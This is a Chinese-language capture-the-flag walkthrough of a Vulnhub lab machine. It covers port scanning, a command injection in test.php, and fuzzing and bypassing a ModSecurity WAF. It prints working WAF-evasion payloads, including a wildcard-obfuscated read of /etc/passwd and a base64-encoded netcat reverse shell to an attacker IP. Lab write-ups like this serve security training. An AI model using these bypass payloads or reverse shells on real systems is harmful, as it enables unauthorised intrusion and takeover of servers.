前言
今天正常看到了一个Vulnhub系列靶场,这个靶场主要是含有waf防火墙这个知识点,现在给大家简单的说一下
1、主机存活探测
arp-scan -l
发现存活主机ip地址为192.168.1.7
2、端口扫描
nmap -A -p- -T4 192.168.1.7
在这里就发现开放了80端口,也显示了Apache的版本为2.4.27,其他并没有什么有用的信息
3、web渗透
直接访问80端口
http://192.168.1.7/
发现直接是apache的一个初始的服务页面,也没有什么有用的信息,这个靶场就一个80端口开放了,那就接下来继续用目录爆破看看
4、目录爆破
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.7 -x php,html,txt
好家伙,这个用不了,那就试试别的
dirbuster也不行,这真得是武器库得强大点,要不然容易gg直接,直接在上最原始的dirb看看行不行
dirb http://192.168.1.7/ -X .php .html
不加参数也发现都是403,是不是有防火墙啊,在观察看看
发现就一个test.php,就有点迷不可能啥都是一个吧,直接访问
提示:Read last visitor data 读取上次访问者数据,那就直接点击一下看看
看到这个就能第一时间想到,一般情况下 ?file= 存在文件包含,命令注入~~~~
那就我们自己先构造一下url读取一下看看
http://192.168.1.7/test.php?file=…/…/…/…/…/…/…/etc/passwd
发现是不可以的,那就在试试命令注入
http://192.168.1.7/test.php?file=last.html|pwd
发现是可以的,那就在看看别的命令
http://192.168.1.7/test.php?file=last.html|ls
发现又是不可以了,这个时间就感觉是不对劲了,是不是有waf拦截下来了,想了想一开始看密码文件都是不可以,感觉应该是存在waf了
5、绕过Waf
(1)识别waf
说道识别waf,那就第一时间想到kali中自带的wafw00f
WAFW00F是一个Web应用防火墙(WAF)指纹识别的工具。
WAFW00F工作原理:
1、首先通过发送一个正常http请求,然后观察其返回有没有一些特征字符
2、如果不成功,它将发送大量(潜在的恶意) HTTP 请求,并使用简单的逻辑推断出它是哪个WAF
3、如果这也不成功,它将分析以前返回的响应,并使用另一个简单的算法来猜测 WAF 或安全解决方案是否正在积极响应我们的攻击.
wafw00f http://192.168.1.7
发现确实是存在防火墙,但是吧我得这个版本扫不出来他用的是啥防火墙,就很迷,,,这个靶场给我整抑郁了,,,,,,,
这个最新版本不行,那就试试以前的老版本呢
这回就行了,发现了防火墙的名字,是一款叫 modsecurity 的waf,是一个开源waf
当然了WAF可以安装在服务器,可以安装在某个站的目录下,也可以安装在PHP文件内
给大家简单的介绍一下
ModSecurity
ModSecurity是一个开源的跨平台Web应用程序防火墙(WAF)引擎,用于Apache,IIS和Nginx,由Trustwave的SpiderLabs开发。作为WAF产品,ModSecurity专门关注HTTP流量,当发出HTTP请求时,ModSecurity检查请求的所有部分,如果请求是恶意的,它会被阻止和记录。
功能:
SQL Injection (SQLi):阻止SQL注入
Cross Site Scripting (XSS):阻止跨站脚本攻击
Local File Inclusion (LFI):阻止利用本地文件包含漏洞进行攻击
Remote File Inclusione(RFI):阻止利用远程文件包含漏洞进行攻击
Remote Code Execution (RCE):阻止利用远程命令执行漏洞进行攻击
PHP Code Injectiod:阻止PHP代码注入
HTTP Protocol Violations:阻止违反HTTP协议的恶意访问
HTTPoxy:阻止利用远程代理感染漏洞进行攻击
Shellshock:阻止利用Shellshock漏洞进行攻击
Session Fixation:阻止利用Session会话ID不变的漏洞进行攻击
Scanner Detection:阻止黑客扫描网站
Metadata/Error Leakages:阻止源代码/错误信息泄露
Project Honey Pot Blacklist:蜜罐项目黑名单
GeoIP Country Blocking:根据判断IP地址归属地来进行IP阻断
(2)模糊测试Fuzz
FUZZ可以应用在很多场景中,此处我们使用wfuzz工具
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt http://192.168.1.7/test.php?file=FUZZ
-c 输出颜色 -z payload
发现有好多403还有202的,404也有几个,虽然不多,把403和404的过滤掉,然后重新执行
wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/All_attack.txt --hc 404,403 http://192.168.1.7/test.php?file=FUZZ
这回这以上的都是能够绕过waf的了,那接下来就开始进行绕过讲解
(3)绕过方式1
dir绕过
http://192.168.1.7/test.php?file=|dir
(4)绕过方式2
?x=| 绕过waf
http://192.168.1.7/test.php?file=last.html?x=|pwd
以上两种方式都是用迷糊测试出来的参数进行验证,都只能执行部分命令,如果命令后面需要跟参数,那在这里试试通配符看看行不行
http://192.168.1.7/test.php?file=|/b?n/c?t%20/e?c/?a??wd
所以我们只需要将敏感词部分用问号代替就可以绕过waf了
(5)绕过方式3
& --绕waf(URL编码混淆绕过WAF)
&的url编码为%26 空格的url编码为%20
&会过滤掉前面的命令,直接执行后面的命令
这里混淆的话,linux一般都会默认安装base64,所以使用base64加密混淆
但是base64加密完会包含=,=被waf加入黑名单了,等号和你加密时的空格有关,可以在末尾添加空格,加密后等号就会去掉,如图下中的尝试
如果是直接 nc-e/bin/sh ip port这种方式的话会被waf拦截,所以得想另外一种可执行命令的方法
后来就想到Linux管道符的特性
在Linux中,管道符左边的命令输出会作为管道符右边的命令的输入然后去执行,若存在多个则以此类推
举个例子
所以这里用base64的方式来传入执行的命令,然后在解码执行
明文:
/bin/echo “nc -e /bin/sh 192.168.1.8 9876” | /usr/bin/base64 | /bin/sh
base64编码后及过waf操作后:
http://192.168.1.7/test.php?file=%26/b?n/ec?o%20bmMgLWUgL2Jpbi9zaCAxOTIuMTY4LjEuOCA5ODc2ICAK|/u?r/b?n/b?se64%20-d|/bin/?h
6、开始提权
编辑好的url直接输入,同时kali里面开始监听
发现监听成功,转为交互界面
python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
我们在 /home/bob/目录下发现了一个隐藏文件 .pw
不知道这是啥,直接百度看看
上官网(jwt.io)看介绍,发现这玩意是有一个私钥加密来的,那就直接去github上面看看
按照要求操作即可
得到了用户名的密码
得到密码为 mlnV1,然后就可以直接切换到root用户了
最终拿到flag